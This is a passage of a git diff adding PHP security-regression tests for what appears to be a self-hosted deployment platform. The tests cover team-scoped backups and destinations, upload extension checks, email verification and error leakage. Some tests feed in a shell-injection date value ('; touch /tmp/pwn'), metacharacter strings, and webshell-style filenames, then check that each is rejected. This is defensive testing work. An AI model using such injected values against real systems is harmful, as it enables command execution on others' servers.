+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
-afterEach(function () {
- \Mockery::close();
+ $this->database = StandalonePostgresql::create([
+ 'name' => 'test-postgres',
+ 'image' => 'postgres:15-alpine',
+ 'postgres_user' => 'postgres',
+ 'postgres_password' => 'password',
+ 'postgres_db' => 'testdb',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $this->s3Storage = S3Storage::create([
+ 'name' => 'test-s3',
+ 'region' => 'us-east-1',
+ 'key' => 'test-key',
+ 'secret' => 'test-secret',
+ 'bucket' => 'test-bucket',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $this->team->id,
+ 'is_usable' => true,
+ ]);
});
describe('POST /api/v1/databases/{uuid}/backups', function () {
- test('creates backup configuration with minimal required fields', function () {
- // This is a unit-style test using mocks to avoid database dependency
- // For full integration testing, this should be run inside Docker
+ test('creates backup with s3 storage via API token', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+ 'frequency' => '0 2 * * 0',
+ 'save_s3' => true,
+ 's3_storage_uuid' => $this->s3Storage->uuid,
+ 'enabled' => true,
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid', 'message']);
+
+ $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();
+ expect($backup)->not->toBeNull();
+ expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+ expect($backup->save_s3)->toBeTrue();
+ expect($backup->team_id)->toBe($this->team->id);
+ });
+
+ test('creates backup without s3 storage', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+ 'frequency' => 'daily',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid', 'message']);
+ });
+
+ test('rejects s3_storage_uuid from another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherS3 = S3Storage::create([
+ 'name' => 'other-s3',
+ 'region' => 'us-east-1',
+ 'key' => 'other-key',
+ 'secret' => 'other-secret',
+ 'bucket' => 'other-bucket',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $otherTeam->id,
+ 'is_usable' => true,
+ ]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
- 'frequency' => 'daily',
+ ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+ 'frequency' => '0 2 * * 0',
+ 'save_s3' => true,
+ 's3_storage_uuid' => $otherS3->uuid,
]);
- // Since we're mocking, this test verifies the endpoint exists and basic validation
- // Full integration tests should be run in Docker environment
- expect($response->status())->toBeIn([201, 404, 422]);
+ $response->assertStatus(422);
+ $response->assertJsonValidationErrors(['s3_storage_uuid']);
});
test('validates frequency is required', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+ ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'enabled' => true,
]);
@@ -63,83 +130,78 @@
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+ ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => 'daily',
'save_s3' => true,
]);
- // Should fail validation because s3_storage_uuid is missing
- expect($response->status())->toBeIn([404, 422]);
- });
-
- test('rejects invalid frequency format', function () {
- $response = $this->withHeaders([
- 'Authorization' => 'Bearer '.$this->bearerToken,
- 'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
- 'frequency' => 'invalid-frequency',
- ]);
-
- expect($response->status())->toBeIn([404, 422]);
+ $response->assertStatus(422);
+ $response->assertJsonValidationErrors(['s3_storage_uuid']);
});
test('rejects request without authentication', function () {
- $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [
+ $response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => 'daily',
]);
$response->assertStatus(401);
});
+});
- test('validates retention fields are integers with minimum 0', function () {
- $response = $this->withHeaders([
- 'Authorization' => 'Bearer '.$this->bearerToken,
- 'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () {
+ test('updates backup to use s3 storage via API token', function () {
+ $backup = ScheduledDatabaseBackup::create([
'frequency' => 'daily',
- 'database_backup_retention_amount_locally' => -1,
+ 'enabled' => true,
+ 'database_id' => $this->database->id,
+ 'database_type' => $this->database->getMorphClass(),
+ 'team_id' => $this->team->id,
]);
- expect($response->status())->toBeIn([404, 422]);
- });
-
- test('accepts valid cron expressions', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
- 'frequency' => '0 2 * * *', // Daily at 2 AM
+ ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+ 'save_s3' => true,
+ 's3_storage_uuid' => $this->s3Storage->uuid,
]);
- // Will fail with 404 because database doesn't exist, but validates the request format
- expect($response->status())->toBeIn([201, 404, 422]);
+ $response->assertStatus(200);
+ $backup->refresh();
+ expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+ expect($backup->save_s3)->toBeTrue();
});
- test('accepts predefined frequency values', function () {
- $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
+ test('rejects s3_storage_uuid from another team on update', function () {
+ $otherTeam = Team::factory()->create();
+ $otherS3 = S3Storage::create([
+ 'name' => 'other-s3',
+ 'region' => 'us-east-1',
+ 'key' => 'other-key',
+ 'secret' => 'other-secret',
+ 'bucket' => 'other-bucket',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $otherTeam->id,
+ 'is_usable' => true,
+ ]);
- foreach ($frequencies as $frequency) {
- $response = $this->withHeaders([
- 'Authorization' => 'Bearer '.$this->bearerToken,
- 'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
- 'frequency' => $frequency,
- ]);
-
- // Will fail with 404 because database doesn't exist, but validates the request format
- expect($response->status())->toBeIn([201, 404, 422]);
- }
- });
-
- test('rejects extra fields not in allowed list', function () {
- $response = $this->withHeaders([
- 'Authorization' => 'Bearer '.$this->bearerToken,
- 'Content-Type' => 'application/json',
- ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+ $backup = ScheduledDatabaseBackup::create([
'frequency' => 'daily',
- 'invalid_field' => 'invalid_value',
+ 'enabled' => true,
+ 'database_id' => $this->database->id,
+ 'database_type' => $this->database->getMorphClass(),
+ 'team_id' => $this->team->id,
]);
- expect($response->status())->toBeIn([404, 422]);
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+ 'save_s3' => true,
+ 's3_storage_uuid' => $otherS3->uuid,
+ ]);
+
+ $response->assertStatus(422);
+ $response->assertJsonValidationErrors(['s3_storage_uuid']);
});
});
diff --git a/tests/Feature/DatabaseBackupUploadValidationTest.php b/tests/Feature/DatabaseBackupUploadValidationTest.php
new file mode 100644
index 000000000..a9d9886b8
--- /dev/null
+++ b/tests/Feature/DatabaseBackupUploadValidationTest.php
@@ -0,0 +1,62 @@
+setAccessible(true);
+
+ return $method->invoke(null, $name);
+}
+
+test('hasAllowedExtension accepts supported extensions', function (string $name) {
+ expect(invokeHasAllowedExtension($name))->toBeTrue();
+})->with([
+ 'plain sql' => ['backup.sql'],
+ 'uppercase sql' => ['BACKUP.SQL'],
+ 'compound sql.gz' => ['backup.sql.gz'],
+ 'compound tar.gz' => ['backup.tar.gz'],
+ 'tgz' => ['archive.tgz'],
+ 'zip' => ['dump.zip'],
+ 'tar' => ['dump.tar'],
+ 'gz' => ['data.gz'],
+ 'dump' => ['data.dump'],
+ 'bak' => ['data.bak'],
+ 'bson' => ['data.bson'],
+ 'bson.gz' => ['data.bson.gz'],
+ 'archive' => ['data.archive'],
+ 'archive.gz' => ['data.archive.gz'],
+ 'bz2' => ['data.bz2'],
+ 'xz' => ['data.xz'],
+]);
+
+test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) {
+ expect(invokeHasAllowedExtension($name))->toBeFalse();
+})->with([
+ 'php' => ['shell.php'],
+ 'phtml' => ['shell.phtml'],
+ 'sh' => ['run.sh'],
+ 'exe' => ['malware.exe'],
+ 'elf binary no ext' => ['payload'],
+ 'html' => ['index.html'],
+ 'bare compound without stem' => ['.sql.gz'],
+ 'bare extension' => ['.sql'],
+ 'empty string' => [''],
+ 'misleading double ext' => ['shell.php.sql-evil'],
+]);
+
+test('MAX_BYTES constant is 10 GiB', function () {
+ $constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES');
+ expect($constant)->toBe(10 * 1024 * 1024 * 1024);
+});
+
+test('ALLOWED_EXTENSIONS does not include executable formats', function () {
+ $constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS');
+ expect($constant)->toBeArray();
+
+ $forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py'];
+ foreach ($forbidden as $bad) {
+ expect($constant)->not->toContain($bad);
+ }
+});
diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php
new file mode 100644
index 000000000..03316598c
--- /dev/null
+++ b/tests/Feature/DevHelperVersionValidationTest.php
@@ -0,0 +1,90 @@
+rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]);
+ if (! Server::find(0)) {
+ Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]);
+ }
+ if (! InstanceSettings::find(0)) {
+ InstanceSettings::create(['id' => 0]);
+ }
+ });
+ Once::flush();
+
+ $this->user = User::factory()->create();
+ $this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->rootTeam->id]]);
+});
+
+test('dev_helper_version rejects values outside Docker tag grammar on save', function () {
+ $invalid = [
+ 'latest with spaces',
+ 'a$b',
+ 'a`b',
+ 'a|b',
+ 'a;b',
+ 'a&b',
+ 'a>b',
+ 'a
set('dev_helper_version', $payload)
+ ->call('instantSave')
+ ->assertHasErrors(['dev_helper_version']);
+ }
+
+ expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull();
+});
+
+test('dev_helper_version accepts valid docker tag formats', function () {
+ $valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0'];
+
+ foreach ($valid as $tag) {
+ Livewire::test(Index::class)
+ ->set('dev_helper_version', $tag)
+ ->call('instantSave')
+ ->assertHasNoErrors(['dev_helper_version']);
+
+ expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag);
+ }
+});
+
+test('buildHelperImage refuses when non-dev environment', function () {
+ config(['app.env' => 'production']);
+
+ Livewire::test(Index::class)
+ ->set('dev_helper_version', 'latest')
+ ->call('buildHelperImage')
+ ->assertDispatched('error');
+});
+
+test('buildHelperImage refuses previously stored invalid version', function () {
+ config(['app.env' => 'local']);
+
+ $settings = InstanceSettings::find(0);
+ $settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly();
+
+ Livewire::test(Index::class)
+ ->call('buildHelperImage')
+ ->assertDispatched('error');
+});
diff --git a/tests/Feature/EmailVerificationHashTest.php b/tests/Feature/EmailVerificationHashTest.php
new file mode 100644
index 000000000..5d42c4e44
--- /dev/null
+++ b/tests/Feature/EmailVerificationHashTest.php
@@ -0,0 +1,73 @@
+withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+ Once::flush();
+ if (! InstanceSettings::find(0)) {
+ $settings = new InstanceSettings;
+ $settings->id = 0;
+ $settings->saveQuietly();
+ }
+});
+
+describe('email verification hash', function () {
+ test('sha256 hash is accepted and marks the user verified', function () {
+ $user = User::factory()->create([
+ 'email' => 'verify-me@example.com',
+ 'email_verified_at' => null,
+ ]);
+
+ $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+ 'id' => $user->getKey(),
+ 'hash' => hash('sha256', $user->getEmailForVerification()),
+ ]);
+
+ $this->actingAs($user)->get($url)->assertRedirect();
+
+ $user->refresh();
+ expect($user->email_verified_at)->not->toBeNull();
+ });
+
+ test('legacy sha1 hash is rejected', function () {
+ $user = User::factory()->create([
+ 'email' => 'legacy-sha1@example.com',
+ 'email_verified_at' => null,
+ ]);
+
+ $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+ 'id' => $user->getKey(),
+ 'hash' => sha1($user->getEmailForVerification()),
+ ]);
+
+ $this->actingAs($user)->get($url)->assertStatus(403);
+
+ $user->refresh();
+ expect($user->email_verified_at)->toBeNull();
+ });
+
+ test('tampered signature is rejected', function () {
+ $user = User::factory()->create([
+ 'email' => 'tampered@example.com',
+ 'email_verified_at' => null,
+ ]);
+
+ $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+ 'id' => $user->getKey(),
+ 'hash' => hash('sha256', $user->getEmailForVerification()),
+ ]);
+
+ $tampered = $url.'x';
+
+ $this->actingAs($user)->get($tampered)->assertStatus(403);
+ });
+});
diff --git a/tests/Feature/FeedbackEndpointTest.php b/tests/Feature/FeedbackEndpointTest.php
new file mode 100644
index 000000000..a2c603def
--- /dev/null
+++ b/tests/Feature/FeedbackEndpointTest.php
@@ -0,0 +1,96 @@
+ Http::response([], 204),
+ ]);
+});
+
+it('rejects feedback with missing content', function () {
+ $response = $this->postJson('/api/feedback', []);
+
+ $response->assertStatus(422)
+ ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too short', function () {
+ $response = $this->postJson('/api/feedback', ['content' => 'short']);
+
+ $response->assertStatus(422)
+ ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with content too long', function () {
+ $response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]);
+
+ $response->assertStatus(422)
+ ->assertJsonValidationErrors('content');
+});
+
+it('rejects feedback with non-string content', function () {
+ $response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]);
+
+ $response->assertStatus(422)
+ ->assertJsonValidationErrors('content');
+});
+
+it('accepts valid feedback and forwards to discord with mentions disabled', function () {
+ config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+ $response = $this->postJson('/api/feedback', [
+ 'content' => 'This is a valid feedback message for testing purposes.',
+ ]);
+
+ $response->assertStatus(200)
+ ->assertJson(['message' => 'Feedback sent.']);
+
+ Http::assertSent(function ($request) {
+ return $request->url() === 'https://discord.com/api/webhooks/test'
+ && $request['content'] === 'This is a valid feedback message for testing purposes.'
+ && $request['allowed_mentions'] === ['parse' => []];
+ });
+});
+
+it('does not forward to discord when webhook url is not configured', function () {
+ config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+ $response = $this->postJson('/api/feedback', [
+ 'content' => 'This is a valid feedback message for testing purposes.',
+ ]);
+
+ $response->assertStatus(200);
+
+ Http::assertNothingSent();
+});
+
+it('throttles feedback endpoint after 3 requests per minute', function () {
+ config()->set('constants.webhooks.feedback_discord_webhook', null);
+
+ for ($i = 0; $i < 3; $i++) {
+ $response = $this->postJson('/api/feedback', [
+ 'content' => "Valid feedback message number {$i} for testing.",
+ ]);
+ $response->assertStatus(200);
+ }
+
+ $response = $this->postJson('/api/feedback', [
+ 'content' => 'This fourth request should be throttled.',
+ ]);
+ $response->assertStatus(429);
+});
+
+it('disables discord mention parsing regardless of content', function () {
+ config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test');
+
+ $response = $this->postJson('/api/feedback', [
+ 'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.',
+ ]);
+
+ $response->assertStatus(200);
+
+ Http::assertSent(function ($request) {
+ return $request['allowed_mentions'] === ['parse' => []];
+ });
+});
diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php
index bd316ca49..b5950f9fc 100644
--- a/tests/Feature/HetznerApiTest.php
+++ b/tests/Feature/HetznerApiTest.php
@@ -446,3 +446,74 @@
$response->assertStatus(401);
});
});
+
+describe('error responses do not leak exception details', function () {
+ test('locations endpoint returns generic 500 message on upstream failure', function () {
+ Http::fake([
+ 'https://api.hetzner.cloud/v1/locations*' => Http::response([
+ 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'],
+ ], 500),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+ $response->assertStatus(500);
+ $response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']);
+ expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+ expect($response->getContent())->not->toContain('/var/secret/path');
+ });
+
+ test('server-types endpoint returns generic 500 message on upstream failure', function () {
+ Http::fake([
+ 'https://api.hetzner.cloud/v1/server_types*' => Http::response([
+ 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+ ], 500),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+ $response->assertStatus(500);
+ $response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']);
+ expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+ });
+
+ test('images endpoint returns generic 500 message on upstream failure', function () {
+ Http::fake([
+ 'https://api.hetzner.cloud/v1/images*' => Http::response([
+ 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+ ], 500),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+ $response->assertStatus(500);
+ $response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']);
+ expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+ });
+
+ test('ssh-keys endpoint returns generic 500 message on upstream failure', function () {
+ Http::fake([
+ 'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([
+ 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+ ], 500),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+ $response->assertStatus(500);
+ $response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']);
+ expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+ });
+});
diff --git a/tests/Feature/LinkLoginEmailVerificationTest.php b/tests/Feature/LinkLoginEmailVerificationTest.php
new file mode 100644
index 000000000..036584e1e
--- /dev/null
+++ b/tests/Feature/LinkLoginEmailVerificationTest.php
@@ -0,0 +1,60 @@
+withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+ Once::flush();
+ if (! InstanceSettings::find(0)) {
+ $settings = new InstanceSettings;
+ $settings->id = 0;
+ $settings->saveQuietly();
+ }
+});
+
+describe('invitation link login', function () {
+ test('does not auto-verify the email address', function () {
+ $team = Team::factory()->create();
+ $password = 'test-password-123';
+ $user = User::factory()->create([
+ 'email' => 'invitee@example.com',
+ 'password' => Hash::make($password),
+ 'email_verified_at' => null,
+ ]);
+ $user->teams()->attach($team->id, ['role' => 'member']);
+
+ $token = Crypt::encryptString("{$user->email}@@@{$password}");
+
+ $this->get(route('auth.link', ['token' => $token]));
+
+ $user->refresh();
+ expect($user->email_verified_at)->toBeNull();
+ });
+
+ test('still logs the user in', function () {
+ $team = Team::factory()->create();
+ $password = 'test-password-123';
+ $user = User::factory()->create([
+ 'email' => 'invitee2@example.com',
+ 'password' => Hash::make($password),
+ 'email_verified_at' => null,
+ ]);
+ $user->teams()->attach($team->id, ['role' => 'member']);
+
+ $token = Crypt::encryptString("{$user->email}@@@{$password}");
+
+ $this->get(route('auth.link', ['token' => $token]));
+
+ expect(auth()->id())->toBe($user->id);
+ });
+});
diff --git a/tests/Feature/ScheduledLogsCommandInputTest.php b/tests/Feature/ScheduledLogsCommandInputTest.php
new file mode 100644
index 000000000..83f313d80
--- /dev/null
+++ b/tests/Feature/ScheduledLogsCommandInputTest.php
@@ -0,0 +1,35 @@
+withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+ Once::flush();
+ if (! InstanceSettings::find(0)) {
+ $settings = new InstanceSettings;
+ $settings->id = 0;
+ $settings->saveQuietly();
+ }
+});
+
+describe('logs:scheduled --date option', function () {
+ test('rejects a malformed date and exits before touching the shell', function () {
+ $this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn'])
+ ->expectsOutputToContain('Invalid date format')
+ ->assertExitCode(ViewScheduledLogs::INVALID);
+
+ expect(file_exists('/tmp/pwn'))->toBeFalse();
+ });
+
+ test('accepts a well-formed date', function () {
+ $this->artisan('logs:scheduled', ['--date' => '2025-01-01'])
+ ->assertExitCode(0);
+ });
+});
diff --git a/tests/Feature/TeamScopedBackupStorageTest.php b/tests/Feature/TeamScopedBackupStorageTest.php
new file mode 100644
index 000000000..57a065ae8
--- /dev/null
+++ b/tests/Feature/TeamScopedBackupStorageTest.php
@@ -0,0 +1,106 @@
+ InstanceSettings::query()->create(['id' => 0]));
+
+ $this->userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+ $this->userB = User::factory()->create();
+ $this->teamB = Team::factory()->create();
+ $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+ $this->storageA = S3Storage::unguarded(fn () => S3Storage::create([
+ 'uuid' => fake()->uuid(),
+ 'name' => 'storage-a-'.fake()->unique()->word(),
+ 'region' => 'us-east-1',
+ 'key' => 'key-a',
+ 'secret' => 'secret-a',
+ 'bucket' => 'bucket-a',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $this->teamA->id,
+ ]));
+
+ $this->storageB = S3Storage::unguarded(fn () => S3Storage::create([
+ 'uuid' => fake()->uuid(),
+ 'name' => 'storage-b-'.fake()->unique()->word(),
+ 'region' => 'us-east-1',
+ 'key' => 'key-b',
+ 'secret' => 'secret-b',
+ 'bucket' => 'bucket-b',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $this->teamB->id,
+ ]));
+
+ $this->backupA = ScheduledDatabaseBackup::create([
+ 'uuid' => fake()->uuid(),
+ 'team_id' => $this->teamA->id,
+ 'enabled' => true,
+ 'save_s3' => true,
+ 'frequency' => '0 0 * * *',
+ 'database_type' => 'App\\Models\\StandalonePostgresql',
+ 'database_id' => 1,
+ 's3_storage_id' => $this->storageA->id,
+ ]);
+
+ $this->backupB = ScheduledDatabaseBackup::create([
+ 'uuid' => fake()->uuid(),
+ 'team_id' => $this->teamB->id,
+ 'enabled' => true,
+ 'save_s3' => true,
+ 'frequency' => '0 0 * * *',
+ 'database_type' => 'App\\Models\\StandalonePostgresql',
+ 'database_id' => 2,
+ 's3_storage_id' => $this->storageB->id,
+ ]);
+
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+describe('Storage/Resources team-scoped backup access', function () {
+ test('disableS3 on other team backup throws and leaves row unchanged', function () {
+ expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+ ->call('disableS3', $this->backupB->id))
+ ->toThrow(ModelNotFoundException::class);
+
+ $this->backupB->refresh();
+ expect((bool) $this->backupB->save_s3)->toBeTrue();
+ expect($this->backupB->s3_storage_id)->toBe($this->storageB->id);
+ });
+
+ test('moveBackup on other team backup throws and leaves row unchanged', function () {
+ expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+ ->set('selectedStorages', [$this->backupB->id => $this->storageA->id])
+ ->call('moveBackup', $this->backupB->id))
+ ->toThrow(ModelNotFoundException::class);
+
+ $this->backupB->refresh();
+ expect($this->backupB->s3_storage_id)->toBe($this->storageB->id);
+ });
+
+ test('disableS3 on own backup succeeds', function () {
+ Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+ ->call('disableS3', $this->backupA->id);
+
+ $this->backupA->refresh();
+ expect((bool) $this->backupA->save_s3)->toBeFalse();
+ expect($this->backupA->s3_storage_id)->toBeNull();
+ });
+});
diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php
new file mode 100644
index 000000000..bdac0251d
--- /dev/null
+++ b/tests/Feature/TeamScopedDestinationTest.php
@@ -0,0 +1,297 @@
+ InstanceSettings::query()->create(['id' => 0]));
+
+ $this->userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+ $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+ $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+ $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+ $this->destinationA = StandaloneDocker::factory()->create([
+ 'server_id' => $this->serverA->id,
+ 'name' => 'dest-a-'.fake()->unique()->word(),
+ 'network' => 'coolify-a-'.fake()->unique()->word(),
+ ]);
+
+ $this->userB = User::factory()->create();
+ $this->teamB = Team::factory()->create();
+ $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+ $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+ $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+ $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+ $this->destinationB = StandaloneDocker::factory()->create([
+ 'server_id' => $this->serverB->id,
+ 'name' => 'dest-b-'.fake()->unique()->word(),
+ 'network' => 'coolify-b-'.fake()->unique()->word(),
+ ]);
+ $this->swarmDestinationB = SwarmDocker::create([
+ 'uuid' => fake()->uuid(),
+ 'name' => 'swarm-b-'.fake()->unique()->word(),
+ 'network' => 'swarm-b-'.fake()->unique()->word(),
+ 'server_id' => $this->serverB->id,
+ ]);
+
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+describe('find_destination_for_current_team helper', function () {
+ test('returns null for other team destination UUID', function () {
+ expect(find_destination_for_current_team($this->destinationB->uuid))->toBeNull();
+ });
+
+ test('returns null for other team swarm destination UUID', function () {
+ expect(find_destination_for_current_team($this->swarmDestinationB->uuid))->toBeNull();
+ });
+
+ test('returns own team destination', function () {
+ $found = find_destination_for_current_team($this->destinationA->uuid);
+ expect($found)->not->toBeNull();
+ expect($found->id)->toBe($this->destinationA->id);
+ });
+
+ test('returns null for blank uuid', function () {
+ expect(find_destination_for_current_team(null))->toBeNull();
+ expect(find_destination_for_current_team(''))->toBeNull();
+ });
+});
+
+describe('SimpleDockerfile destination team scope', function () {
+ test('submit with other team destination throws and creates no application', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+ request()->headers->set('referer', route('project.resource.create', $routeParams).'?destination='.$this->destinationB->uuid);
+
+ $before = Application::count();
+
+ expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+ ->test(SimpleDockerfile::class, $routeParams)
+ ->set('dockerfile', "FROM nginx\nCMD [\"nginx\"]\n")
+ ->call('submit'))
+ ->toThrow(Exception::class, 'Destination not found.');
+
+ expect(Application::count())->toBe($before);
+ });
+});
+
+describe('DockerImage destination team scope', function () {
+ test('submit with other team destination throws and creates no application', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ $before = Application::count();
+
+ expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+ ->test(DockerImage::class, $routeParams)
+ ->set('imageName', 'nginx')
+ ->set('imageTag', 'latest')
+ ->call('submit'))
+ ->toThrow(Exception::class, 'Destination not found.');
+
+ expect(Application::count())->toBe($before);
+ });
+
+ test('submit with other team swarm destination throws', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ expect(fn () => Livewire::withUrlParams(['destination' => $this->swarmDestinationB->uuid])
+ ->test(DockerImage::class, $routeParams)
+ ->set('imageName', 'nginx')
+ ->set('imageTag', 'latest')
+ ->call('submit'))
+ ->toThrow(Exception::class, 'Destination not found.');
+ });
+});
+
+describe('DockerCompose destination + server_id team scope', function () {
+ test('submit with other team destination throws and creates no service', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ $before = Service::count();
+
